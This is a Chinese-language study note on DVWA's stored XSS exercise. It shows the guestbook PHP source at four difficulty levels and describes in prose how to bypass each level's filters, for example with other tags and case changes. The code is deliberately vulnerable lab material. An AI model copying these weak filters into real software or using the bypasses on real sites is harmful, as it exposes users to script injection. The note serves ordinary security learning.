$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

从前端获得的用户输入不经过任何过滤直接存储,导致的XSS,这种类型相对于反射性利用起来更方便一点,然后这里还限制了输入长度,但是直接右键修改HTML就可以了,不需要抓包修改,另外这里的stripslashes用在这里干嘛的不是很懂,有哪位大佬看到希望可以指教一下。

Medium

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

这里对message的过滤比较严谨,但是name的很薄弱,除了上面提到的使用其他标签绕过,还可以使用大小写绕过

High

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

好吧。。依旧是没有考虑其他标签触发js事件的情况,同上。

Impossible

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>

这里用htmlspecialchars解决了XSS注入,但是这个函数默认不过滤单引号,最好还是要注意一下,不然在某些情况下还是能够绕过的。

DVWA渗透笔记的更多相关文章

  1. DVWA渗透测试初级练习

    下面的内容是我2020年后半年进行的简单的dvwa的渗透实验,顺序可能会有一些问题,但是内容我一定会搞完整,DVWA渗透环境的windows10配置phpstudy Command Injection ...

  2. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  3. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  4. vulnhub mrRobot渗透笔记

    mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...

  5. vulnhub devguru渗透笔记

    devguru渗透笔记 信息收集 kali ip 目标ip 首先我们扫描一下开放端口 nmap -A -p- 192.168.20.143 Starting Nmap 7.91 ( https://n ...

  6. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  7. backtrack5渗透 笔记

    目录        1.信息收集        2.扫描工具        3.漏洞发现        4.社会工程学工具        5.运用层攻击msf        6.局域网攻击       ...

  8. DVWA学习笔记-----环境搭建

    DVWA是一款渗透测试的演练系统,在圈子里是很出名的.如果你需要入门,那么就选它了. 我们通常将演练系统称为靶机,下面请跟着我一起搭建DVWA测试环境.  安装PHP集成环境 我这里用的是phpstu ...

  9. DVWA渗透测试环境搭建

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助w ...

随机推荐

  1. WEB应用之httpd基础入门(一)

    前文我们聊了下http协议web服务的一些常识和httpd服务器软件三种响应模型的简单介绍,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12515075.ht ...

  2. WSGI标准、MVC和MTC框架

    WSGI服务: wsgiref模块其实就是将整个请求信息给封装了起来,就不需要你自己处理了,假如它将所有请求信息封装成了一个叫做request的对象,那么你直接request.path就能获取到用户这 ...

  3. 理解Golang组件protobuf

    什么是protobuf protocol buffers 是一种语言无关.平台无关.可扩展的序列化结构数据的方法,它可用于(数据)通信协议.数据存储等.是一种灵活,高效,自动化机制的结构数据序列化方法 ...

  4. HTML节点操作

    HTML节点操作 HTML节点的基本操作,添加节点,替换节点,删除节点,绑定事件,访问子节点,访问父节点,访问兄弟节点. 文档对象模型Document Object Model,简称DOM,是W3C组 ...

  5. 原来 CPU 为程序性能优化做了这么多

    本文主要来学习内存屏障和 CPU 缓存知识,以便于我们去了解 CPU 对程序性能优化做了哪些努力. 首先来看下 CPU 缓存: CPU 缓存 CPU 缓存是为了提高程序运行的性能,CPU 在很多处理上 ...

  6. [尊老爱幼] Queen

    You are given a rooted tree with vertices numerated from 1 to n . A tree is a connected graph withou ...

  7. 带有路径压缩和rank优化的并查集实现

    public class unionfind2 implements UF { int[] parent; int[] rank; public unionfind2(int n) { parent= ...

  8. Layui-admin-iframe通过页面链接直接在iframe内打开一个新的页面,实现单页面的效果

    前言: 使用Layui-admin做后台管理框架有很长的一段时间了,但是一直没有对框架内iframe菜单栏切换跳转做深入的了解.今天有一个这样的需求就是通过获取超链接中传递过来的跳转地址和对应的tab ...

  9. upload-labs通关集

    upload-labs通关集 环境 第一题 前端js检查 第二题 content-type类型绕过 第三题 黑名单绕过 第四题 .htaccess绕过 第五题 大小写绕过 第六题 空格绕过 第七题 点 ...

  10. 切比雪夫低副瓣阵列设计 MATLAB

    相控阵天线中,直线阵列作为重要的一种,有着极为广泛的应用.切比雪夫低副瓣阵列设计是一种典型的设计方法. 切比雪夫方法主要是实现低副瓣.窄波束: 其产生的核心如下: 我的理解:因为能量守恒,所有副瓣都一 ...